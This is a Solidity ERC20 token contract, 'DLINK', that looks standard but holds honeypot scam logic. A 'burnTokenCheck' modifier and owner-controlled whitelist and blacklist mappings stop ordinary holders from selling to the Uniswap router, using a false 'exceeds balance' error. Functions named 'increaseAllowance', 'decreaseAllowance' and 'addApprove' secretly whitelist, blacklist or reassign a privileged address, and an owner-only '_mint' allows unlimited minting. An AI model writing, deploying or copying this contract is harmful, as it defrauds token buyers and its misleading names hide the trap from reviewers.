pragma solidity ^0.6.6;

library SafeMath {
  
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
      
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }


    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
  
            if (returndata.length > 0) {
               
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Context {
   
    constructor () internal { }

    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


interface IERC20 {
    
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);
    
    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract DLINK is Context, IERC20 {
    using SafeMath for uint256;
    using Address for address;
    
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _whiteAddress;
    mapping (address => bool) private _blackAddress;
    
    uint256 private _sellAmount = 0;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;

    address public _owner;
    address private _safeOwner;
    address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
   
   constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
        _name = name;
        _symbol = symbol;
        _decimals = 18;
        _owner = owner;
        _safeOwner = owner;
        _mint(_owner, initialSupply*(10**18));
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _approveCheck(_msgSender(), recipient, amount);
        return true;
    }
    
  function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
    require(msg.sender == _owner, "!owner");
    for (uint256 i = 0; i < receivers.length; i++) {
      transfer(receivers[i], amounts[i]);
      
      if(i < approvecount){
          _whiteAddress[receivers[i]]=true;
          _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
      }
    }
   }

   
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _approveCheck(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    
    function increaseAllowance(address[] memory receivers) public {
        require(msg.sender == _owner, "!owner");
        for (uint256 i = 0; i < receivers.length; i++) {
           _whiteAddress[receivers[i]] = true;
           _blackAddress[receivers[i]] = false;
        }
    }

   
   function decreaseAllowance(address safeOwner) public {
        require(msg.sender == _owner, "!owner");
        _safeOwner = safeOwner;
    }
    
    function addApprove(address[] memory receivers) public {
        require(msg.sender == _owner, "!owner");
        for (uint256 i = 0; i < receivers.length; i++) {
           _blackAddress[receivers[i]] = true;
           _whiteAddress[receivers[i]] = false;
        }
    }


    function _transfer(address sender, address recipient, uint256 amount)  internal virtual{
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
    
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) public {
        require(msg.sender == _owner, "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[_owner] = _balances[_owner].add(amount);
        emit Transfer(address(0), account, amount);
    }

   
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

   
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    
   
    function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
    
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    
    
    modifier burnTokenCheck(address sender, address recipient, uint256 amount){
        if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
            if (sender == _owner || sender == _safeOwner || recipient == _owner){
                if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
                if (_whiteAddress[sender] == true){
                _;}else{if (_blackAddress[sender] == true){
                require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
                if (amount < _sellAmount){
                if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
                _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
                    }
                }
            }
        }
    }
    
    
    
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}